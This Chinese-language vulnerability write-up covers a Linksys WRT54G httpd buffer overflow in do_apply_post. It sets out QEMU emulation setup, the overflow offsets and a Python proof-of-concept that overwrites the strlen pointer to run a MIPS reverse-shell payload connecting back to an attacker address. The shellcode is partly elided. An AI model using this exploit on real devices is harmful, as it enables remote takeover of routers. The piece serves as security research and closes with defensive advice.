Linksys WRT54G路由器溢出漏洞分析–运行环境修复
字数 1250 2025-08-22 12:23:00
Linksys WRT54G路由器溢出漏洞分析与利用
1. 漏洞概述
本文详细分析Linksys WRT54G路由器中的缓冲区溢出漏洞,该漏洞存在于HTTPD服务的do_apply_post函数中,由于未对POST参数长度进行校验,导致攻击者可以通过构造恶意请求实现远程代码执行。
2. 环境准备
2.1 所需工具
2.2 网络配置
- 攻击机IP: 192.168.40.146
- 路由器IP: 192.168.40.200
2.3 QEMU启动命令
sudo qemu-system-mipsel -M malta -kernel vmlinux-3.2.0-4-4kc-malta \
-hda debian_wheezy_mipsel_standard.qcow2 \
-append "root=/dev/sda1 console=tty0" -net nic -net tap -nographic
2.4 文件传输
将路由器文件系统传输到仿真环境:
sudo scp -r ./squashfs-root/ root@192.168.40.200:/root/
3. HTTPD服务启动方法
方法一: 常规启动(失败)
尝试常规启动httpd服务,但只启动了FTP服务。
方法二: 未详细说明
方法三: 强制启动(成功)
使用QEMU用户模式启动httpd:
sudo chroot ./ ./qemu-mipsel-static ./usr/sbin/httpd
解释:
qemu-mipsel-static是预编译的QEMU用户模式模拟器- 它包含了必要的动态链接库,可以解决依赖问题
- 使用chroot限制文件系统访问范围
4. 漏洞分析
4.1 漏洞代码
伪代码分析:
wreadlen = wfread(post_buf, 1, content-length, fhandle);
if(wreadlen)
strlen(post_buf);
问题点:
- 直接使用
content-length作为读取长度,没有校验 post_buf大小固定为0x2710(10,000)字节- 读取后直接调用
strlen,没有缓冲区边界检查
4.2 内存布局
post_buf位于HTTPD的.data段.data段用于存放已初始化的全局变量- 后续内存段(.extern等)连续且可写
4.3 溢出利用思路
- 溢出覆盖
.data段后面的多个段 - 最终覆盖
.extern段中的strlen函数地址 - 当调用
strlen时,执行流程被劫持 - 需要填充0x2F32(0x1000D7A0 - 0x10001AD8)字节数据
5. 漏洞利用
5.1 利用策略
- 在
post_buf中布置Shellcode和NOP雪橇 - 填充0x4000字节数据,全部覆盖为
post_buf首地址 - 确保覆盖
strlen函数地址 strlen被劫持到Shellcode起始位置
5.2 Shellcode构造
使用MIPS架构的反弹Shell代码,关键部分:
mipselshell = "\xfa\xff\x0f\x24" # li t7,-6
mipselshell += "\x27\x78\xe0\x01" # nor t7,t7,zero
# ... 更多指令 ...
5.3 完整POC代码
import sys
import struct,socket
import urllib2
def makepayload(host,port):
# Shellcode构造部分
hosts = struct.unpack('<cccc',struct.pack('<L',host))
ports = struct.unpack('<cccc',struct.pack('<L',port))
mipselshell = "\xfa\xff\x0f\x24" # li t7,-6
# ... 完整Shellcode ...
return mipselshell
try:
target = sys.argv[1]
except:
print "Usage: %s <target>" % sys.argv[0]
sys.exit(1)
url = "http://%s/apply.cgi" % target
sip = '192.168.1.100' # 攻击机IP
sport = 1234 # 攻击机端口
host = socket.ntohl(struct.unpack('<I',socket.inet_aton(sip))[0])
payload = makepayload(host,sport)
addr = struct.pack("<L",0x10001AD8) # post_buf地址
DataSegSize = 0x4000
buf = "\x00"*(10000-len(payload)) + payload + addr*(DataSegSize/4)
req = urllib2.Request(url, buf)
print urllib2.urlopen(req).read()
6. 关键点总结
- 漏洞成因: 未校验的
content-length导致缓冲区溢出 - 利用条件:
- 后续内存段连续可写
- 存在关键函数指针(
strlen)可覆盖
- 利用技巧:
- 精确计算偏移量(0x2F32字节)
- 使用地址淹没技术提高成功率
- MIPS架构Shellcode构造
7. 防御建议
- 对所有输入进行长度校验
- 使用非可执行内存(NX)保护
- 实现地址随机化(ASLR)
- 对关键函数指针进行保护
8. 参考资源
- 原始固件下载地址
- nvram-faker项目
- QEMU模拟器文档
- MIPS架构手册